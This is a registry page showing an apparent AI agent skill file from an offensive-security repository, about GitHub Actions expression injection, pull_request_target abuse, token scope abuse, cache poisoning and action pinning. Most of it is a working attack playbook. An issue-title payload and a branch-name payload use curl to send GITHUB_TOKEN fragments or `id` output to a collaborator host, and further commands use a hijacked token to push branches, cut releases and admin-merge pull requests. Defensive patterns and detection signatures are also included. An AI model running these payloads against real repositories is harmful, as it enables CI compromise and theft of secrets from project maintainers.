CtrlK
BlogDocsLog inGet started
Tessl Logo

github-actions-injection

GitHub Actions ${{ }} expression injection — attacker-controlled context (issue/PR title, body, branch name, commit message) substituted into run: steps, unsafe pull_request_target + PR-head checkout, GITHUB_TOKEN scope abuse, artifact/cache poisoning, action tag-vs-SHA pinning.

64

Quality

76%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/cicd/github-actions-injection/SKILL.md
SKILL.md
Quality
Evals
Security

GitHub Actions Expression Injection

${{ <expr> }} is interpolated by the runner before the shell sees the line. If the expression sources from untrusted github.event.*, the substituted text is parsed by bash (or pwsh) as code — full RCE on the runner, with whatever token + secrets the job exposes.

Untrusted context — the sinks

These fields are attacker-controllable in fork PRs, issues, comments, branches:

ContextSourceNotes
github.event.issue.title / .bodyissue create / editany logged-in user
github.event.pull_request.title / .bodyPR create / editany forker
github.event.pull_request.head.refbranch name on fork; $() ``` are valid Git branch chars
github.event.comment.bodyissue/PR commentbroad reach
github.event.review.body / .review_comment.bodyPR review
github.event.head_commit.message / .commits[*].messagepush / PRnewlines allowed
github.event.pages[*].page_namegollum wiki
github.head_refshorthand for PR head branchsame as above

Recon — find injection sinks

# Direct ${{ }} into run: blocks
grep -rnE '\$\{\{\s*github\.(event\.(issue|pull_request|comment|review|head_commit|pages)|head_ref)' \
  <REPO>/.github/workflows/

# actionlint flags most of these
docker run --rm -v "$PWD:/repo" rhysd/actionlint:latest -color

Sink pattern — the vulnerable workflow

# VULNERABLE
on: [issues, pull_request_target]
jobs:
  triage:
    runs-on: ubuntu-latest
    steps:
      - name: Echo title
        run: |
          echo "New issue: ${{ github.event.issue.title }}"   # <-- sink

Exploit payload — issue title

Open an issue titled:

hello"; curl -s https://<COLLAB>/$(printf %s "$GITHUB_TOKEN" | base64 -w0 | head -c 12) #

Runner expands to:

echo "New issue: hello"; curl -s https://<COLLAB>/$(printf %s "$GITHUB_TOKEN" | base64 -w0 | head -c 12) #"

The shell runs curl with the first 12 base64-chars of GITHUB_TOKEN as the URL path. (PoC pattern — truncate; do not exfil the full token.)

Branch-name injection

# Fork → create branch with a shell-meta name
git checkout -b 'x";curl -s https://<COLLAB>/$(id)#'
git commit --allow-empty -m bn
git push origin HEAD
gh pr create --title typo --body typo --repo <OWNER>/<REPO>

If any workflow does echo ${{ github.head_ref }} in a run:, the runner executes id and posts the result.

pull_request_target + PR-head checkout

# VULNERABLE
on: pull_request_target
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with: { ref: ${{ github.event.pull_request.head.sha }} }
      - run: npm ci && npm test

Two attack paths on the same workflow:

  1. Code execution — fork edits package.json postinstall (see poisoned-pipeline-execution/SKILL.md).
  2. Expression injection — fork edits its own workflow files? No — workflow files on the base ref run, not PR head. But any ${{ github.event.* }} sink in the base workflow is still exploitable via title / body / branch name.

Safe pattern (defender)

# Pass via env, never interpolate directly
- name: Echo title
  env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
  run: echo "New issue: $ISSUE_TITLE"

$ISSUE_TITLE is expanded by bash only — shell-meta inside $ISSUE_TITLE becomes literal text. Note this still requires set -u or careful quoting; double-quote the variable.

GITHUB_TOKEN permission abuse

If the workflow does not set permissions: explicitly, the token defaults to whatever the repo / org default is — historically read-all / write-all. With write scope you can:

# From inside the runner — push to a release branch via the token
git remote set-url origin "https://x-access-token:${GITHUB_TOKEN}@github.com/${GITHUB_REPOSITORY}.git"
git push origin HEAD:refs/heads/release/x

# Create a release
gh release create v0.0.0-poc --notes "research" --target $GITHUB_SHA

# Approve + merge a PR (if `contents: write` + `pull-requests: write`)
gh pr merge <N> --merge --admin

Always check the effective scope:

# Inside the job — see what the token can do
curl -sI -H "Authorization: Bearer $GITHUB_TOKEN" https://api.github.com/ | grep -i x-oauth-scopes
gh api /repos/$GITHUB_REPOSITORY --jq '.permissions'

Artifact / cache poisoning

actions/cache keys are scoped by repo + branch. A PR job that restores a cache the base branch wrote can be made to write malicious content for the next base-branch run when pull_request_target is in play. Same for actions/upload-artifact followed by a deploy job that downloads + executes.

# Smell — artifact used as build input without integrity check
- uses: actions/download-artifact@v4
  with: { name: build }
- run: ./build/release.sh   # <- if attacker poisoned `build`, this runs attacker code

Third-party action pinning

# Tag-pinned — silently movable by the action author or anyone who hijacks the repo
- uses: tj-actions/changed-files@v44

# SHA-pinned — immutable
- uses: tj-actions/changed-files@a284dc1814e3fd07f2e34267fc8f81227ed29fb8

tj-actions/changed-files (CVE-2025-30066, Mar 2025) shipped a malicious commit retagged onto previously-trusted tags, exfiltrating secrets from every downstream consumer. Pattern recurs — assume every tag-pinned third-party action is a supply-chain risk.

# List every third-party action and its pin style across the org
gh api "search/code?q=uses+org:<OWNER>+path:.github/workflows" --jq '.items[].path' \
  | xargs -I{} gh api "repos/<OWNER>/<REPO>/contents/{}" --jq '.content' \
  | base64 -d | grep -E 'uses:\s*[^/]+/[^@]+@'

Detection signatures

SignalDefender view
${{ github.event.*.title | .body | .ref | .message }} in run:static lint (actionlint, zizmor)
Branch name containing shell metas (;, $(, backtick)pre-receive hook on the org
pull_request_target + actions/checkout with head.sha/head.refzizmor rule dangerous-checkout
Token scopes write-all w/ no permissions: blockrepo / org default token policy
Tag-pinned third-party actiondependabot.yml action-update review

Tools

ToolUse
actionlintFirst-line static check; flags 90% of expression-injection sinks
zizmor (woodruffw)Rust-based audit, catches pull_request_target + checkout patterns
octoscanWorkflow scanner with PoC generation hints
gh CLIInspect runs, logs, token scopes, approve fork-PR runs
gato-x (praetorian-inc)End-to-end PPE / expression-injection automation

Decision gate

  1. Open the PoC issue / PR from a research account on a research fork; payload truncates the token to first 8-12 chars only.
  2. Use interactsh / Burp Collaborator for the beacon. Do not POST the token anywhere durable.
  3. Close + delete the issue, branch, and any artifact the run produced once the screenshot is captured.

References

  • GitHub Security Lab — "Keeping your GitHub Actions and workflows secure"
  • "Untrusted input" sink list — github.com/github/securitylab/issues
  • tj-actions/changed-files (CVE-2025-30066) post-mortem
  • Synacktiv, NCC Group, Praetorian — Actions injection writeups
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.